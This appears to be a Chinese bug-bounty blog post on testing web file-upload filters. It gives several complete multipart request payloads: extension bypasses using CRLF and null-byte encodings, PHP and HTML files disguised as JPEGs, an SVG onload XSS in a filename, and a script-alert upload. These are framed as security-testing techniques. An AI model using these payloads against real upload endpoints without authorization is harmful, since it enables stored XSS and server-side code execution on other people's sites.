首页 > 其他分享 >文件上传

文件上传

时间:2024-10-25 20:43:51浏览次数:1  
标签:文件 上传 image jpg Content html Type

检查:https://www.bugbountyhunter.com/guides/?type=fileuploads
检查:https://portswigger.net/web-security/file-upload
检查:https://hackerone.com/reports/506646

  • 在测试文件上传时,可能会发现文件已上传到第三方域,比如各种存储桶。但是有时公司会将 DNS 记录添加到指向其云服务(通常是 S3 存储桶)的子域。例如,media.example.com 可用于渲染来自其 S3 存储桶的图像。所以S3存储桶又回到了本域范围之内了。

  • 他们如何确定或检查该文件是什么?
    实际上如何验证这是照片? 可能是通过 .extension 或甚至是 mime type。 除此之外,无论我们上传的照片类型如何,所有照片是否都以相同的格式保存? 例如,如果您上传了 .png 文件,他们是否根本不在乎,无论如何都会保存为 .jpg?

  • 测试文件扩展名
    很简单,首先测试 .txt 以检查过滤器实际上有多严格。如果尝试上传 .html、.php、.xml 以增加影响,您注意到扩展名由于恶意而被过滤,那么我们可以尝试 URL 编码字符,例如空字节、%00、新行、%0d%0a 和制表符、%09 %07,以绕过过滤器。

------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="malicious.jpg%0d%0a.html"
Content-Type: image/png
<html>HTML code!</html>

对于上述请求,使用 Burp Suite 右键单击请求中的 %0d%0a,单击转换选择并选择 URL 解码。可以看见payload“消失了”,现在发送请求时,payload将被发送 URL 编码并可能绕过过滤器。
image

image

实际上很多开发人员会为 image/* 创建过滤器,这意味着 .svg 上传将起作用,因为它的content type是 image/svg+xml。.svg 文件被归类为照片,一些开发人员没有意识到它们可用于实现 XSS。

有时流行的框架也可能是问题所在,例如在 Laravel 中:如下代码表示仅允许图像,但如上所述,.svg 文件被视为图像!这会导致 XSS。

$request->validate([
   'post_body' => 'required|string|max:150',
   'post_image' => 'nullable|image|max:1024',
]);

在框架文档中,可以发现对于“图片”的定义:https://laravel.com/docs/6.x/validation#rule-image
image

  • 测试内容类型和文件头 content type and file headers
    如果文件扩展名方法不起作用,那么接下来可以尝试使用内容类型。
    如果用于浏览文件的 URL 默认没有扩展名,这种情况尤其常见,通常看起来像:https://www.example.com/media/QmVQcbUNxs3qV991rwAcpJp6mTFFvRV9JcJnEvZNy5Vzvh。
    保留文件扩展名 .jpg 以及正确的图像头(例如 ÿøÿà),我们可以简单地尝试将 Content-Type 更改为 text/html。在服务器端保存时,代码可能会允许文件上传,因为扩展名为 .jpg,但查看时内容类型将设置为 text/html。这是因为服务器很乐意保存您的上传,因为它是 .jpg 格式,带有正确的标题 ÿøÿà,但在查看时使用 Content-Type。
    但是!更改 Content-Type 并不是我们在这里可以尝试的唯一方法。有时仅仅更改它是不够的,建议添加文件上传所需的相应文件头。例如,对于 text/html,您可以在此处添加 <html>code,对于 application/xml,可以添加 <?xml>

  • 测试文件名
    在实际文件名中使用某些字符可以帮助绕过过滤器。
    zseano.php/.jpg 代码可能会看到 .jpg 并允许(代码检查通过了),但服务器实际上将其作为 zseano.php 写入服务器(文件也写进去了),并错过正斜杠后的所有内容。其他常用字符包括。过时的老系统,例如区分大小写的过滤器 .PhP,在如今并不常见。

#、@、;、\ +、&、`

基于文件名的反射值

------WebKitFormBoundarySrtFN30pCNmqmNz2
Content-Disposition: form-data; name="file"; filename="<svg onl oad=confirm()>58832_300x300.jpg"
Content-Type: image/jpeg
ÿØÿà
....
  • 文件上传请求示例
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg"
Content-Type: text/html

<html><h2>codehere</h2>

有时不提供文件扩展名(甚至文件名)会导致其默认为内容类型或文件扩展名。


------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano."
Content-Type: text/html

<html><h2>codehere</h2>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename=".html"
Content-Type: image/png

<html>HTML code!</html>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg#/?&=+\.html"
Content-Type: image/jpeg

<html><h2>codehere</h2>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg%0d%0a.php"
Content-Type: application/php

<?php echo "oops!"; ?>
------WebKitFormBoundaryAxbOlwnrQnLjU1j9
Content-Disposition: form-data; name="imageupload"; filename="zseano.jpg%u0025%u0030%u0039.php"
Content-Type: application/php

<?php echo "oops!"; ?>

有时,如果你保留image header,这足以绕过检查。以下是漏洞赏金计划中使用的真实有效载荷。

------WebKitFormBoundaryoMZOWnpiPkiDc0yV
Content-Disposition: form-data; name="oauth_application[logo_image_file]"; filename="testing1.jpg"
Content-Type: text/html

ÿØÿà
<script>alert(0)</script>

标签:文件,上传,image,jpg,Content,html,Type
From: https://www.cnblogs.com/sec875/p/18503252

相关文章

  • 【slam】kitti数据集转化为rosbag文件的过程
    主要参考https://blog.csdn.net/m0_45388819/article/details/108582312rosbagtopic映射:https://blog.csdn.net/u014374826/article/details/139784531kitti官网:https://www.cvlibs.net/datasets/kitti/raw_data.php过程命令:kitti2bag-t2011_09_26-r0009raw_synced(......
  • C#对电脑系统文件管理
    在C#中,与电脑系统文件管理的交互通常通过.NET框架提供的System.IO命名空间下的类来完成。这些类提供了丰富的功能来读取、写入、删除、移动文件以及创建和管理文件夹。此外,获取和监控电脑系统信息则可能涉及到使用System.Environment、System.Diagnostics以及其他相关的.NET......
  • Windows11系统imkrudt.dll文件丢失问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个imkrudt.dll文件(挑选合适的版本文件)把它放......
  • Windows11系统imkrmig.dll文件丢失问题
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个imkrmig.dll文件(挑选合适的版本文件)把它放......
  • 文件管理器
    Description文件管理器操作系统具有对计算机硬件资源管理和调度的功能。文件是对占用了硬盘一定空间的对象的描述和抽象。考虑一般的文件具有文件名、大小和创建时间。文件管理在任何操作系统中都是必不可少的。文件管理器是用户用来观察和操作文件的一个软件。考虑一个简易的......
  • 使用 aria2 下载文件
    Aria2是一个轻量级的多协议、多来源命令行下载工具。它支持HTTP、HTTPS、FTP、BitTorrent和Metalink协议,能够在不同的协议之间无缝切换以优化下载速度。安装#macOSbrewinstallaria2#Ubuntu/Debiansudoaptinstallaria2下载aria不能设置socks5代理aria......
  • md文件转html (使用vscode 中的markdown---->html)
    一、采用vscode 制作和打开md文件 1.1安装markdown和markdownoreviewenhanced扩展插件1.2 修改设置  1.3用vscode打开md文件,右键--->点击---下图按钮。生成.md,然后右键点击export--->html--->html(offline) .最后就生成html格式的文件啦。记得三......
  • linux中,使用python3 实现用硬链接的方式复制复合文件夹
    copy_with_hardlink.pyimportosimportargparsedefcopy_with_hardlinks(src,dst):ifnotos.path.exists(dst):os.makedirs(dst)foriteminos.listdir(src):src_item=os.path.join(src,item)dst_item=os.path.join(d......
  • Oracle数据泵导出的DMP文件还原
    Oracle数据库备份的DMP文件如何还原到数据库中,或者还原到另外一个Oracle数据库中下面这个命令在oracle所在服务器中根据自身情况修改后执行:impdpusername/password@orcldirectory=dbbackupdumpfile=backupfilename.DMPschemas=xxdbremap_schema=xxdb:newxxdb接下来对命令......
  • Vue文件下载和导出
    1.Promise.all()的运行机制输入参数是一个可迭代对象,每个元素是一个Promise。返回一个新的Promise,该Promise在所有输入的Promise都成功解决时解决,或者在任何一个输入的Promise被拒绝时立即拒绝。1.以下解释:该Promise在所有输入的Promise都成功解决时解决//工......